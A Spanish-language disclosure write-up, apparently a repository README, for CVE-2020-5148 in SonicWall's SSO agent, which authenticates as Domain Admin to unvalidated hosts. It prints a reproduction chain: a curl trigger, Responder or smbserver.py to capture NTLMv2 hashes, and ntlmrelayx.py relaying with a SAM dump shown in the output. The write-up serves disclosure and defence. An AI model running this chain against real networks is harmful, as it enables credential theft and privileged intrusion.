
CVE-2020-5148 - Autenticación forzada en el agente SSO UTM de SonicWall. El agente sondea estaciones de trabajo no validadas como Domain Admin, por lo que una solicitud web saliente produce un hash NTLMv2 privilegiado. Aviso SNWLID-2021-0003.
Autenticación forzada en el agente SSO de SonicWall UTM
El agente SSO de SonicWall identifica al usuario detrás de una dirección IP dada sondeando esa estación de trabajo con NetAPI (el método predeterminado) o WMI. No valida la estación de trabajo antes de iniciar la autenticación NTLM, y continúa consultando la misma dirección durante toda la sesión.
Debido a que el servicio del agente SSO requiere derechos administrativos en cada estación de trabajo y servidor que sondea, en la práctica se implementa como Administrador de Dominio. Cualquier parte no autenticada que pueda enrutar tráfico web a través del appliance UTM puede, por tanto, hacer que una cuenta de Administrador de Dominio se autentique contra un host de su elección, y capturar o retransmitir esa autenticación.
Publicado como CVE-2020-5148, aviso del fabricante SNWLID-2021-0003.
Descubierto y notificado por Sedric Louissaint de Show Up Show Out Security.
| CVE | CVE-2020-5148 |
| Producto | Appliance UTM de SonicWall y agente SSO / Conector de Servicios de Directorio |
| Afectados | Agente SSO 4.1.10.0; Conector de Servicios de Directorio 4.1.17 y anteriores |
| Corregido en | NVD registra la corrección en Conector de Servicios de Directorio 4.1.19 (ver nota más abajo) |
| Debilidad | CWE-287: Autenticación inadecuada |
| CVSS 3.1 (NVD) | 8.2 Alta CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N |
| CVSS (investigador) | 8.6 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| Publicado | 2021-03-05 |
| Probado en | Microsoft Windows Server 2012 R2 Standard |
| Autenticación requerida | Ninguna |
| Aviso del fabricante | https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0003 |
Descripción de NVD:
La configuración predeterminada del agente SSO de SonicWall usa NetAPI para sondear las IP asociadas en la red; este método de sondeo del cliente permite que un posible atacante capture el hash de la contraseña

Las anotaciones marcan lo que el diagrama del fabricante omite:
El servicio del agente SSO requiere derechos de administrador en todas las estaciones de trabajo y servidores asociados para poder realizar la consulta. En prácticamente todos los despliegues, esto significa que la cuenta de servicio es Administrador de Dominio.
La credencial que se entrega a un host no validado es, por tanto, la cuenta con mayores privilegios del directorio.

No hay código de explotación. Cualquier solicitud web saliente desde un segmento que el appliance gestione es suficiente:
curl sonicwall.com

La URL es irrelevante y la solicitud no necesita tener éxito. El appliance observa tráfico desde una IP no reconocida, pide al agente SSO que identifique al usuario allí, y el agente se autentica contra esa IP.
Con Responder o smbserver.py en modo escucha, la autenticación NTLMv2 del agente llega sin que se le solicite, y sigue llegando debido al comportamiento de sondeo:
[SMB] NTLMv2-SSP Client : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<privileged account>
[SMB] NTLMv2-SSP Hash : ...

Descifrar el hash es opcional. Cuando no se aplica la firma SMB, la autenticación puede retransmitirse en vivo a un host diferente, que entonces trata la conexión como la cuenta privilegiada que aparenta ser:
ntlmrelayx.py -t <target> -smb2support -of <output>
[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<user> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

La autenticación se desencadena mediante una solicitud web no autenticada y se consume en una máquina completamente distinta, lo que constituye la omisión completa de la ACL descrita en el aviso.
En un laboratorio que poseas o estés autorizado a probar, con un appliance UTM configurado para SSO y el agente SSO usando el método de sondeo de clientes NetAPI predeterminado:
sudo responder -I <interface>
# or
sudo smbserver.py c . -smb2support
curl sonicwall.com
ntlmrelayx.py -t smb://<second-host> -smb2support -of relayed
Secuencia completa de comandos en poc/repro.sh.
poc/
repro.sh Listener, trigger and relay commands, commented, safe to read first
notes.md Why NetAPI triggers this, what WMI changes, detection guidance
media/
01-sso-flow-annotated.png
02-curl-crossing-network-boundary.png
03-ntlmv2-hashes-captured.png
04-ntlmrelayx-sam-dump.png
05-sso-agent-version-4.1.10.0.png
Los nombres de usuario, hashes y direcciones internas de las capturas están redactados o proceden del laboratorio original.
administrator inicie sesión a través del servicio del agente SSO, el DC, el servidor Exchange o el servidor de terminales. Cuando la cuenta deba seguir siendo privilegiada, usa una contraseña lo bastante larga como para que el descifrado offline no sea realista, veinte caracteres o más, y que nunca se reutilice.| Fecha | Evento |
|---|---|
| 2020 | Descubierto y notificado a SonicWall |
| 2021-03-05 | CVE-2020-5148 publicado, aviso SNWLID-2021-0003 |
Publicado después de la divulgación al fabricante, para uso defensivo y educativo. Aquí no hay código de explotación porque no se necesita ninguno, que es el punto del hallazgo. No ejecutes estos comandos contra redes que no poseas o para las que no tengas autorización escrita de prueba.